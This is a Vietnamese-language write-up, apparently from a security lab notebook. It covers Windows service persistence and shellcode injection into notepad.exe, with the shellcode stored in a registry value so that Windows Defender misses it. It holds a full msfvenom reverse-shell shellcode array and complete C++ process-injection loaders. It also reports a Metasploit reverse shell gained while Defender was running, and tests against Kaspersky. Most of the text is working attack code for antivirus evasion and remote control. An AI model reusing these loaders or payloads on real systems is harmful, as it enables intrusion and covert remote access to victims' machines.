Service

Code:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.Threading.Tasks;
using System.Timers;

namespace TestService
{
    public partial class Service1 : ServiceBase
    {
        private Timer timer = null;
        private int tickCount = 0;
        public Service1()
        {
            InitializeComponent();
        }

        protected override void OnStart(string[] args)
        {
            // Tạo 1 timer từ libary System.Timers
            timer = new Timer();
            // Execute mỗi 60s
            timer.Interval = 60000;
            // Những gì xảy ra khi timer đó dc tick
            timer.Elapsed += timer_Tick;
            // Enable timer
            timer.Enabled = true;
            // Ghi vào log file khi services dc start lần đầu tiên
            Utilities.WriteLogError("Test for 1st run WindowsService");
        }

        private void timer_Tick(object sender, ElapsedEventArgs args)
        {
            // Xử lý một vài logic ở đây
            tickCount++;
            Utilities.WriteLogError("Timer has ticked for doing something!!!");

            if (tickCount == 1)
            {
                Utilities.WriteLogError("Test Malware Persistence at minute 1.");
                // Làm chương trình bị hỏng
                Environment.Exit(1);
            }
        }

        protected override void OnStop()
        {
            // Ghi log lại khi Services đã được stop
            timer.Enabled = true;
            Utilities.WriteLogError("1st WindowsService has been stop");
        }
    }
}

Install service

Powershell:

New-Service -Name "Test Service" -BinaryPathName "D:\Microsoft Visual Studio\Repos\OJT\TestService\bin\Release\TestService.exe" -DisplayName "Test Service" -Description "This is a test service." -StartupType Manual

Inject shellcode từ registry:

Mình có 1 shellcode như sau:

0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x56,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x44,0x8b,0x40,0x20,0x8b,0x48,0x18,0x50,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0xd,0xac,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x48,0x1,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x11,0x5c,0xc0,0xa8,0x71,0x8e,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x0,0x0,0x0,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x4,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x0,0x10,0x0,0x0,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x0,0x40,0x0,0x0,0x41,0x58,0x6a,0x0,0x5a,0x41,0xba,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x1,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5

Shellcode này được gen ra từ msfvenom, và khi ghi trong source luôn thì nó sẽ bị Windows Defender bắt. Để minh họa thì mình có source code như sau:

#include <Windows.h>
#include <iostream>

using namespace std;

DWORD pID = NULL, tID = NULL;
LPVOID rBuffer = NULL;
HANDLE hProcess, hThread = NULL;

unsigned char shellCode[] = 
"\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x54\x72\x75\x6E\x67\x50\x51\x36\x00\x00\x00\x00"
"\x54\x72\x75\x6E\x67\x50\x51\x36\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";

int main(int argc, char* argv[]) {

	if (argc < 2) {
		cout << "[?] Please use program.exe <PID>" << endl;

		return EXIT_FAILURE;
	}

	pID = atoi(argv[1]);

	cout << "Trying to open handle to process " << pID << endl;

	// Mở process
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
	if (hProcess == NULL) {
		cout << "There is no process like that! Error: " << GetLastError() << endl;
		return EXIT_FAILURE;
	}
	cout << "Got a handle to the process\n" << hProcess << endl;

	// Tạo vùng nhớ ảo để chứa shell code
	rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	cout << "Allocated " << sizeof(shellCode) << "-bytes with PAGE_EXECUTE_READWRITE perm" << endl;

	// Ghi vùng nhớ ảo trên vào process
	WriteProcessMemory(hProcess, rBuffer, shellCode, sizeof(shellCode), NULL);
	cout << "Wrote " << sizeof(shellCode) << "-bytes to process memory" << endl;

	// Tạo thread để chạy payload
	hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &tID);

	if (hThread == NULL) {
		cout << "Can not create thread! Error: " << GetLastError() << endl;
		CloseHandle(hProcess);
		return EXIT_FAILURE;
	}

	cout << "Got a handle to a threat! TID = " << tID << endl;
	cout << hThread << endl;
	
	WaitForSingleObject(hThread, INFINITE);

	//Clean
	cout << "Cleaning..." << endl;
	CloseHandle(hThread);
	CloseHandle(hProcess);
	cout << "Finished!" << endl;


	return EXIT_SUCCESS;
}

Có thể thấy ngay từ khi compile nó đã bị Windows Defender bắt:

Nên mình đã thử code một chương trình có thể đọc shellcode từ trong registry và thực thi, xem có bypass được Windows Defender hay không.

Code C++:

#include <Windows.h>
#include <iostream>
#include <sstream>
#include <vector>
#include <iomanip>

using namespace std;

DWORD pID = NULL, tID = NULL;
LPVOID rBuffer = NULL;
HANDLE hProcess, hThread = NULL;

// Đọc shellcode từ registry
bool ReadShellCodeFromRegistry(string& shellCodeStr) {
    HKEY hKey;
    LPCSTR subKey = "SOFTWARE\\Microsoft\\Notepad";
    LPCSTR valueName = "testShell";
    DWORD dataSize = 0;
    LONG result;

    // Mở registry
    result = RegOpenKeyExA(HKEY_CURRENT_USER, subKey, 0, KEY_READ, &hKey);
    if (result != ERROR_SUCCESS) {
        cout << "Failed to open registry key! Error: " << result << endl;
        return false;
    }

    // Đọc size của shellcode
    result = RegQueryValueExA(hKey, valueName, NULL, NULL, NULL, &dataSize);
    if (result != ERROR_SUCCESS) {
        cout << "Failed to query registry value size! Error: " << result << endl;
        RegCloseKey(hKey);
        return false;
    }

    // Allocate buffer cho shellcode
    char* buffer = new char[dataSize + 1];
    buffer[dataSize] = '\0'; // Null-terminate

    // Đọc giá trị shellcode
    result = RegQueryValueExA(hKey, valueName, NULL, NULL, reinterpret_cast<LPBYTE>(buffer), &dataSize);
    if (result != ERROR_SUCCESS) {
        cout << "Failed to read registry value! Error: " << result << endl;
        delete[] buffer;
        RegCloseKey(hKey);
        return false;
    }

    shellCodeStr = buffer;

    delete[] buffer;
    RegCloseKey(hKey);
    return true;
}

// Convert shellcode về bytes
vector<unsigned char> HexStringToBytes(const string& hexStr) {
    vector<unsigned char> bytes;
    stringstream ss(hexStr);
    string byteStr;
    while (getline(ss, byteStr, ',')) {
        unsigned int byte;
        stringstream hexByte;
        hexByte << hex << byteStr;
        hexByte >> byte;
        bytes.push_back(static_cast<unsigned char>(byte));
    }
    return bytes;
}

int main(int argc, char* argv[]) {
    if (argc < 2) {
        cout << "[?] Please use program.exe <PID>" << endl;
        return EXIT_FAILURE;
    }

    pID = atoi(argv[1]);
    string shellCodeStr;

    // Đọc shellcode từ registry
    if (!ReadShellCodeFromRegistry(shellCodeStr)) {
        cout << "Failed to read shellcode from registry" << endl;
        return EXIT_FAILURE;
    }

    // Convert
    vector<unsigned char> shellCode = HexStringToBytes(shellCodeStr);
    DWORD shellCodeSize = static_cast<DWORD>(shellCode.size());
    cout << "Shellcode: " << &shellCode << endl;

    cout << "Trying to open handle to process " << pID << endl;

    // Mở process
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
    if (hProcess == NULL) {
        cout << "There is no process like that! Error: " << GetLastError() << endl;
        return EXIT_FAILURE;
    }
    cout << "Got a handle to the process\n" << hProcess << endl;

    // Tạo vùng nhớ ảo để chứa shell code
    rBuffer = VirtualAllocEx(hProcess, NULL, shellCodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    cout << "Allocated " << shellCodeSize << "-bytes with PAGE_EXECUTE_READWRITE perm" << endl;

    // Ghi vùng nhớ ảo trên vào process
    WriteProcessMemory(hProcess, rBuffer, shellCode.data(), shellCodeSize, NULL);
    cout << "Wrote " << shellCodeSize << "-bytes to process memory" << endl;

    // Tạo thread để chạy payload
    hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &tID);

    if (hThread == NULL) {
        cout << "Cannot create thread! Error: " << GetLastError() << endl;
        CloseHandle(hProcess);
        return EXIT_FAILURE;
    }

    cout << "Got a handle to a thread! TID = " << tID << endl;
    cout << hThread << endl;

    WaitForSingleObject(hThread, INFINITE);

    // Clean up
    cout << "Cleaning..." << endl;
    CloseHandle(hThread);
    CloseHandle(hProcess);
    cout << "Finished!" << endl;

    return EXIT_SUCCESS;
}

Mình sẽ ghi shellcode vào HKEY_CURRENT_USER\SOFTWARE\Microsoft\Notepad với String Value là testShell.

Chạy metasploit làm C2 server:

Mình sẽ tiến hành chạy malware trong khi vẫn đnag bật Windows Defender:

Metasploit đã thành công lấy được reverse shell:

Một lúc sau, Windows Defender mới bắt được malware, cơ mà nó chỉ tiến hành kill tiến trình notepad bị inject chứ không phát hiện được phần mềm nào đã inject

Quan sát Process Explorer khi quá trình inject diễn ra. Trước khi bị Windows Defender kill, ta thấy từ notepad.exe xuất hiện tiến trình con là cmd.exe

Nên khi notepad bị kill, ta vẫn sẽ có thể truy cập được shell

Bonus: Khi đối đầu với kaspersky, khi shellcode được inject, có lưu lượng mạng được gửi đi, tuy nhiên cmd.exe đã không được tạo ra

Kaspersky đã block notepad.exe sớm hơn Windows Defender, cũng như file Inject đã bị xóa mất.

Last updated